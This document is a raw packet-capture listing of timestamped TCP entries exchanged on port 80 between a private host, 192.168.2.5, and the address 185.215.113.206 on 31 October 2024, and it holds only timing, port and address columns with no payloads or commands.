Oct 31, 2024 01:18:20.144362926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.144423962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144438028 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144448996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144459009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144469023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144475937 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.144484997 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144500017 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.144504070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144514084 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144526005 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144536018 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144562960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.144562960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.144602060 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.144615889 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144628048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144637108 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144650936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144670963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144680023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144685984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144696951 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144714117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144725084 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144730091 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144735098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144738913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144793987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144797087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.144797087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.144797087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.144797087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.144797087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.144814968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144825935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144829035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.144829035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.144850969 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.144865990 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.144881964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144891977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144901037 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144928932 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.144948959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.144963026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144984007 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.144994020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145010948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.145021915 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.145059109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145070076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145080090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145088911 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145102024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145114899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.145117998 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145126104 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.145143986 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.145169973 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.145188093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145199060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145210028 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145220041 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145230055 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145239115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145239115 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.145248890 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145267963 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.145284891 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.145320892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145330906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145343065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145351887 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145361900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145368099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.145390034 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.145401955 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.145440102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145451069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145461082 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145472050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145482063 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145489931 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.145498991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145510912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145510912 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.145522118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145531893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145539999 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.145543098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145555019 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145559072 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.145567894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.145580053 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.145592928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.145618916 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.146070957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.146090984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.146100998 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.146121979 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.146135092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.154644966 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.154654026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.154659033 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.154705048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.154725075 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.154747963 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.191680908 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.191771984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.192126989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.192137003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.192147017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.192183018 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.192199945 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.224101067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.224112034 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.224122047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.224179983 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.224199057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.224522114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.224530935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.224540949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.224565029 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.224592924 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.258495092 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.258507013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.258517027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.258527994 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.258541107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.258559942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.258569002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.258580923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.258583069 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.258589983 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.258599043 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.258605003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.258616924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.258625984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.258632898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.258639097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.258668900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.258668900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.258681059 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.258701086 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.258725882 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.258765936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.258776903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.258826971 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.258857965 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.258868933 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.258898973 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.258929014 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.258934975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.258945942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.258955002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.258979082 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.258991957 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.259012938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.259062052 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.259231091 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.259280920 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.259322882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.259332895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.259342909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.259352922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.259362936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.259363890 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.259375095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.259383917 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.259414911 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.259434938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.259459019 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.259470940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.259480000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.259500027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.259504080 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.259514093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.259526968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.259526968 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.259540081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.259550095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.259557962 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.259562016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.259587049 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.259613991 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.259634972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.259670019 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.260072947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.260092020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.260103941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.260113001 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.260144949 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.260144949 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.260171890 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.260184050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.260194063 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.260205030 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.260205984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.260235071 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.260262012 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.260310888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.260322094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.260330915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.260343075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.260353088 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.260353088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.260365009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.260365009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.260375023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.260385036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.260386944 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.260396957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.260406971 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.260412931 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.260416985 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.260430098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.260432959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.260454893 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.260468960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.260504007 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.260514021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.260518074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.260529041 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.260539055 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.260548115 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.260559082 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.260584116 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.260668993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.260679960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.260689974 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.260706902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.260726929 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.260752916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.260761976 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.260791063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.261109114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261118889 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261128902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261138916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261147976 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261152983 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.261157990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261169910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261176109 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.261182070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261204004 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.261214018 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.261259079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261269093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261277914 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261290073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261300087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261307955 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.261321068 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.261338949 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.261346102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261356115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261365891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261377096 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.261377096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261392117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261401892 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.261403084 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261428118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261435986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261440992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261444092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.261451960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261461973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261466980 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.261472940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261481047 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.261483908 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261495113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261507988 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.261537075 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.261723995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261734962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261744022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261755943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261765003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261766911 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.261776924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.261792898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.261806011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.261843920 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.261957884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.262134075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262144089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262149096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262168884 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262180090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262192011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.262207985 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.262221098 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.262274981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262286901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262307882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262315035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.262319088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262330055 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262341022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262341976 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.262341976 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.262350082 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.262350082 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262362957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262370110 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.262372971 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262383938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262394905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262398005 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.262403965 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262414932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262423038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262432098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262432098 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.262448072 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.262450933 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262465000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262468100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.262475967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262485027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262492895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.262496948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262507915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262510061 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.262518883 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262528896 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262538910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262542009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.262548923 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.262551069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262562037 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262571096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262579918 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.262583017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.262593031 CET	80	49704	185.215.113.206	192.168.2.5
